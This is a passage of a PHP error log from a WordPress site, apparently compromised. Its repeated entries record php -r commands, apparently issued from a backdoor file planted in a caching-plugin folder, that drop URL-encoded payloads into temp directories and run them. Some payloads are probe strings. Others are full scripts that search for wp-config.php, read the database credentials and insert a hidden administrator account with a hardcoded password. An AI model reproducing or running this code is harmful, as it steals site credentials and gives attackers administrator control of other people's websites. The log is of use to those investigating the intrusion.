ysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27/home/velstone%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.parle_tokens&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[18-Nov-2025 18:00:09 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22hwWfaFDFiZaSQgs%22.%22BFIDNetdmYwGk%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.internal&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[19-Nov-2025 00:06:01 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22KDHxsCiusS%22.%22JtApNRKkkzmVNcYf%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.accepted&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[19-Nov-2025 00:26:50 UTC] PHP Parse error:  syntax error, unexpected double-quote mark, expecting "]" in /tmp/.center on line 1
[19-Nov-2025 22:38:52 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22eVMcFoAzkSA%22.%22AhkyBvpOhAjOoZSypArn%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.requests&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[19-Nov-2025 22:38:53 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22TSwjyTOnoDyYJzI%22.%22uHHtarnSJjzSWhsU%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.ibase_pconnection&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[19-Nov-2025 22:39:08 UTC] PHP Parse error:  syntax error, unexpected double-quote mark, expecting "]" in /tmp/.oauthexceptions on line 1
[19-Nov-2025 23:43:24 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22mgiDTyvgnXHdbCV%22.%22ViEWNNLEdUBbaoFbY%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.post&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[19-Nov-2025 23:43:45 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22SYmqPVHQkhBnmFJM%22.%22xxtTitUCkPWTc%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.accepted&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[19-Nov-2025 23:44:07 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22MeWNKAQumpVFFOgxb%22.%22FYPKJCmgDDXDvQmoNAf%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.system&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[19-Nov-2025 23:44:28 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22JrAvnzVKNtqPGTD%22.%22IIeDiqrfIwYpRJLdSL%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.multi&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[19-Nov-2025 23:45:11 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27root%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Zb%7B0%40U%7BvsFjq%26%23j%28%3C%3FL%5BIy0Hi_%239%5Di-LlJN0%3DEc%27%3B%20%20%20%20%20%24user_email%20%3D%20%27admin%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27/home/velstone%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.dba_insertion&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[19-Nov-2025 23:55:23 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22DfGbiGodgyCsDqqFNJn%22.%22mTFQtwwuFuXmKu%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.dbx_convert&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[19-Nov-2025 23:55:24 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22ALZLFUWQnjnrACjqq%22.%22BQdgyYDTmfWnFo%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.include&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[19-Nov-2025 23:55:24 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22YcXeapASSmsvVVMCkJDO%22.%22LumPLQaOiyeCXSzD%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.partition&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[19-Nov-2025 23:55:25 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22fOLbqYbWTdrX%22.%22VYdMFTYhsm%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.db2_convert&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[19-Nov-2025 23:55:26 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22MtLHSFAQeDghRRjyopBi%22.%22zUUwPIEbWMztLczx%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.oauthexceptions&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[20-Nov-2025 11:02:49 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%2